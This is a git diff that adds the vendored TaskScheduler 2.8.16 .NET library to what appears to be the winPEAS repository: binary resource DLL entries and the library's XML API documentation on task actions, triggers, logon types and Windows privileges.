diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/de/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..0a94429 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/de/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/es/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..0ee2849 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/es/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/fr/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..3a939ec Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/fr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/it/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..4ae4648 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/it/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/pl/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..48f4e5c Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/pl/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/ru/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..ba8f4f5 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/ru/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..9128b8c Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/Microsoft.Win32.TaskScheduler.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/Microsoft.Win32.TaskScheduler.dll new file mode 100755 index 0000000..118220e Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/Microsoft.Win32.TaskScheduler.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/Microsoft.Win32.TaskScheduler.xml b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/Microsoft.Win32.TaskScheduler.xml new file mode 100755 index 0000000..25324e0 --- /dev/null +++ b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7584 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name of a document is + provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + + Abstract base class that provides the common properties that are inherited by all action + objects. An action object is created by the method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + + Occurs when a property value changes. + + + + + Gets the type of the action. + + The type of the action. + + + + Gets or sets the identifier of the action. + + + + + Creates the specified action. + + Type of the action to instantiate. + of specified type. + + + + Creates a new object that is a copy of the current instance. + + + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Releases all resources used by this class. + + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns the action Id. + + String representation of action. + + + + Returns a that represents this action. + + The culture. + String representation of action. + + + + Creates a specialized class from a defined interface. + + Version 1.0 interface. + Specialized action class + + + + Creates a specialized class from a defined interface. + + Version 2.0 Action interface. + Specialized action class + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler interface. There is a sample project that shows how to do this in the Downloads section. + + + + + Creates an unbound instance of . + + + + + Creates an unbound instance of . + + Identifier of the handler class. + Addition data associated with the handler. + + + + Gets or sets the identifier of the handler class. + + + + + Gets the name of the object referred to by . + + + + + Gets or sets additional data that is associated with the handler. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Gets the name for CLSID. + + The unique identifier. + + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that sends an e-mail. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + This action has been deprecated in Windows 8 and later. However, this library is able to mimic its functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + Creates an unbound instance of . + + + + + Creates an unbound instance of . + + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value containing a path to file. + + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + + + Gets or sets the header information in the e-mail message to send. + + + + + Gets or sets the priority of the e-mail message. + + + A that contains the priority of this message. + + + + + Gets or sets the e-mail address that you want to reply to. + + + + + Gets or sets the name of the server that you use to send e-mail from. + + + + + Gets or sets the subject of the e-mail. + + + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + Creates a new instance of an that can be added to . + + + + + Creates a new instance of an that can be added to . + + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + + + Gets or sets the path to an executable file. + + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + + Gets a string representation of the . + + String representation of this action. + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that shows a message box when a task is activated. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + This action has been deprecated in Windows 8 and later. However, this library is able to mimic its functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + Creates a new unbound instance of . + + + + + Creates a new unbound instance of . + + Message text that is displayed in the body of the message box. + Title of the message box. + + + + Gets or sets the message text that is displayed in the body of the message box. + + + + + Gets or sets the title of the message box. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Copies the properties from another the current instance. + + The source . + + + + Options for when to convert actions to PowerShell equivalents. + + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. + If not specified, only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems on or after Windows 8 / Server 2012. + + + + + Convert all actions regardless of version or operating system. + + + + + Collection that contains the actions that are performed by the task. + + + + + Gets or sets the identifier of the principal for the task. + + + + + Gets the number of actions in the collection. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + The PowerShell platform options. + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + If set to , then no actions will ever be converted to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities are found. + If set to , then actions will be converted only under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the target computer. + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems on or after Windows 8 / Server 2012. + If set to , then any actions not supported by the Task Scheduler version will be converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + + + Gets or sets a an action at the specified index. + + The zero-based index of the action to get or set. + + + + Gets or sets a specified action from the collection. + + + The . + + The id () of the action to be retrieved. + + Specialized instance. + + + + + Mismatching Id for action and lookup. + + + + Adds an action to the task. + + A type derived from . + A derived class. + The bound that was added to the collection. + + + + Adds an to the task. + + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + The bound that was added to the collection. + + + + Adds a new instance to the task. + + Type of task to be created + Specialized instance. + + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot contain null elements. + is null. + + + + Clears all actions from the task. + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Determines whether the specified action type is contained in this collection. + + Type of the action. + + true if the specified action type is contained in this collection; otherwise, false. + + + + + Copies the elements of the to an array of , starting at a particular index. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first occurrence within the entire collection. + + The delegate that defines the conditions of the to search for. + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the objects within the . + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Determines the index of a specific item in the . + + The id () of the action to be retrieved. + + The index of if found in the list; otherwise, -1. + + + + + Inserts an action at the specified index. + + The zero-based index at which action should be inserted. + The action to insert into the list. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Removes the action at a specified index. + + Index of action to remove. + Index out of range. + + + + Copies the elements of the to a new array. + + An array containing copies of the elements of the . + + + + Returns a that represents the actions in this collection. + + + A that represents the actions in this collection. + + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See details in the remarks for . + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has the Version1 flag set. + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for functionality that was + not forward-compatible. + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version2 flag set. + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive property set to true. + TaskDefinition.Settings.Volatile can be set to true. + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, see Enabled Property of + TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task Scheduler service does + not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration triggers, the task will + not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger is updated, the task + will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant cannot be combined with + the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is used, no password is + stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. The password must be + specified when a task is registered. This flag is not recommended for new tasks because it is less reliable than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this privilege. User Right: + Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege identifies its holder as a + security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be set only to those + values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless of the access + control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. This privilege is required by the + RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, + FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, regardless of the ACL + specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, this privilege enables you to set any + valid user or group security identifier (SID) as the owner of a file. This privilege is required by the RegLoadKey function. The following access + rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, + FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: Modify firmware + environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all traversal access checks. It + is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read all objects and + properties in the directory, regardless of the protection on the objects and properties. By default, it is assigned to the Administrator and + LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not supported. Note that this + value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is enabled by default for + administrators, services, and the local system account. User Right: Create global objects. Windows XP/2000: This privilege is not supported. Note + that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of process SID in the + IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default discretionary access control list + (DACL) will be modified to allow only the task SID and local system full control and the account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify the type of state + change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by switching users on + the computer. + + + + + 